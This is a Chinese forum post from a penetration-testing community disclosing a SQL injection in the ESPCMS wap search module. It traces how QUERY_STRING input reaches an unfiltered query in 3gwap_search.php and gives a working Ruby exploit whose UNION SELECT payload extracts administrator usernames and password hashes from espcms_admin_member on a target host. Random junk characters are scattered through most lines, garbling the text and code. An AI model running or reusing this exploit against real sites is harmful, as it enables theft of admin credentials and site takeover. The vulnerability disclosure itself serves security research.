中国网络渗透测试联盟

标题: espcms wap模块搜索处SQL注入 [打印本页]

作者: admin    时间: 2013-7-27 18:31
标题: espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节% T8 m* _' z2 D; u2 x5 `  E
0×2 PoC% F5 \4 c) e/ c  U# L7 j( W

  l/ j  _, [0 W$ w9 h
$ O1 y& D. i' ?/ b  z0 R9 e
% v4 U7 v+ e; v' }- `0×0 漏洞概述
- Z! ?) C0 _7 F, J! d9 {5 H! W! }" a1 S
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。: N! K9 J6 w+ Y6 R; }
其在处理传入的参数时考虑不严谨导致SQL注入发生
4 B  k) R" t! a+ ^
4 \+ s) z. j! _( \$ u$ d
: b- }+ P/ ?+ t: G0 t0×1 漏洞细节1 B2 N0 {% f8 w' t! p
6 c# T7 V. F) B# k+ d2 |% N9 z
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。/ {/ }" d2 r5 A! c
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
/ m0 _9 M5 Y! H" l而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
0 N% r/ B# j( o$ P
3 [8 x4 G8 r* Y1 J$ H4 D7 N在/interface/3gwap_search.php文件的in_result函数中:; E2 m) Q7 Z4 s7 F7 y& o1 B

: K+ P& a( \; s! s5 j  }& C0 T" y: b

' ]- Z/ x& [1 ~' K       function in_result() {
/ p' Z5 i3 x( h# \8 u+ O            ... ... ... ... ... ... ... ... ...
1 ]3 [5 E8 g2 J' x            $urlcode = $_SERVER[ 'QUERY_STRING '];3 h6 d- e+ q7 N& n
            parse_str(html_entity_decode($urlcode), $output);( Z6 @! R9 c& v1 x0 ]: }
3 W9 [6 x( [. p; a. l
            ... ... ... ... ... ... ... ... ...
: l( C& w; @% N. b            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
3 w, O+ a# R' C. Z  X2 l4 g
2 M- G, l& R6 I* ?3 v3 |5 O                  $db_table = db_prefix . 'model_att';
4 f( O2 n4 Z/ l  l1 v
# Z5 `, Z& U( O$ B                   foreach ($output['attr' ] as $key => $value) {4 _6 N! P6 y8 Q( R8 {
                         if ($value) {# G$ @+ Z$ I' ?. X4 l1 V  g

/ Z! g7 D! b. g                              $key = addslashes($key);
6 A; y: s+ K: c. y0 R. m8 t                              $key = $this-> fun->inputcodetrim($key);! `! d8 I, U6 z1 C6 K2 G8 R4 _
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
: W3 h# o, G% Q0 ]# p. f* k- ~                              $countnum = $this->db_numrows($db_table, $db_att_where);6 N4 M, v, r) `2 v8 A- J3 Z
                               if ($countnum > 0) {, m! y$ E' z" M
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;1 h' b3 ]# f/ H. H
                              }
* }# M6 [% O" P% \3 U# q+ b) {                        }
4 e/ G) O/ J8 }$ \4 ^                  }1 v7 v; ]! Y% r! S, K; N
            }0 k" Y  b/ N! p7 R" C2 e5 m9 M! _3 }8 P
            if (!empty ($keyword) && empty($keyname)) {- r" V- r' y1 B; S( T# o1 R3 i
                  $keyname = 'title';
/ a$ @# n6 k2 t4 f+ A                  $db_where.= " AND a.title like '%$keyword%'" ;
, s9 X$ v& t: v  }1 a1 ]* p/ V            } elseif (!empty ($keyword) && !empty($keyname)) {
" B5 K3 B$ l) P: X+ D                  $db_where.= " AND $keyname like '% $keyword%'";
& @( f7 F: ?+ N3 c6 Q            }
# Q# X9 e5 _0 g            $pagemax = 15;, k8 G3 J5 k2 z+ s) M

! M% |7 y& o6 [* b2 c            $pagesylte = 1;
/ P, Z1 g4 R& H1 F" M9 a
: i9 Z2 J, B- ^; h& j9 G/ k             if ($countnum > 0) {
! B9 T8 S/ q' ]. k. {& H. n" b0 y1 l( o
                  $numpage = ceil($countnum / $pagemax);
+ k( X  B  j' k& X0 l            } else {
! s) U7 x; \5 A3 V) Q                  $numpage = 1;
; m8 B; ]: j7 P& n; X            }6 ?! X/ A) S/ A% Y( l
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 _  w6 f+ E& X* M/ z) L( U            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);8 A4 g, t/ {' F. O& w
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);1 i3 j' L2 t0 q! B+ g8 W
            ... ... ... ... ... ... ... ... ...# h* J) a9 _6 b7 t
      }6 F6 X! @8 f2 i. R
- f+ L6 l) n; l; _! P
- Q3 h1 h- E  ?$ |+ S
0×2 PoC! ]* F" m9 k8 c2 j/ v

# h9 t% }  G$ z; z. m8 n, q% R) B3 Y. M) B
0 U3 p. @: X+ j: e, n% ^7 x
require "net/http"
" \1 N3 O8 I$ n( M$ t
8 J" Q! ?: T5 F' S' O! c+ `def request(method, url)
: \5 V+ J1 S9 [6 M    if method.eql?("get")9 J! b0 g- D3 F% l  Q* q
        uri = URI.parse(url)  d; A" O/ N1 G% f" R! I3 J+ }
        http = Net::HTTP.new(uri.host, uri.port)
& _& }% T; Y/ w0 }! t        response = http.request(Net::HTTP::Get.new(uri.request_uri))
4 k& j0 y. F- T1 h( w" p0 @        return response1 U- q5 e9 G1 K4 k! K% T1 P
    end* K: _6 E: V2 w1 i' o! l) b( u
end% I" Y& r4 m6 {' ^  w
4 u* {; B9 W$ Y: f3 m
doc =<<HERE
6 W# l" Y) t# p4 W# P+ U-------------------------------------------------------
+ g: i! E* L. J: CEspcms Injection Exploit" x6 t; ?0 s  E
Author:ztz
2 ?  S6 O* c! fBlog:http://ztz.fuzzexp.org/
! P# ^% b& h% u- L% r# ?* u) n-------------------------------------------------------2 u7 Y, c# e1 A

  P1 }6 w: J! ^7 d* e5 x' rHERE
6 r2 I! X( w7 L* E% }# O8 W( L7 Q) H" c% {
usage =<<HERE
! `' U% @1 G# z8 W' U( i9 `Usage:         ruby #{$0} host port path
! x0 B! C& o* Z/ }example:     ruby #{$0} www.target.com 80 /& Q$ H+ d( Z3 J
HERE
! \$ M. q8 v; n8 J
  D2 @9 f* \9 k/ B5 Wputs doc0 y8 F5 c8 q; u5 n
if ARGV.length < 3
+ X6 p) X2 i8 K/ _9 z    puts usage* S% a( Y5 d& h% M0 Q
else
1 F8 }- ^+ H7 V* H    $host = ARGV[0]
$ h5 i' f6 A) D- ~5 _, N9 h    $port = ARGV[1]: {7 f' G  B5 I* |6 f" O
    $path = ARGV[2]
! r3 C5 p5 Z2 U2 U/ d8 e
0 F& e: \( w- h4 U! ?. y9 U+ }( D* u    puts "
  • send request..."  o+ r! p0 W' j+ l, e/ w
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&& y  I$ T3 H+ x$ J
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13" M+ T% e7 X) d
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27% r# F- T& k0 h: G: ]
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    * ~6 M) X" Z& s. Y$ L) J' x    response = request("get", url)
    $ `% {, q* h- \/ A4 L    result = response.body.scan(/\w+&\w{32}/)* H* K8 d, f! p0 j
        puts result/ A' B8 h8 }4 Y' b2 f/ _
    end
    2 r$ a9 y1 D- f
    7 J. \5 {- c7 x, P




    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2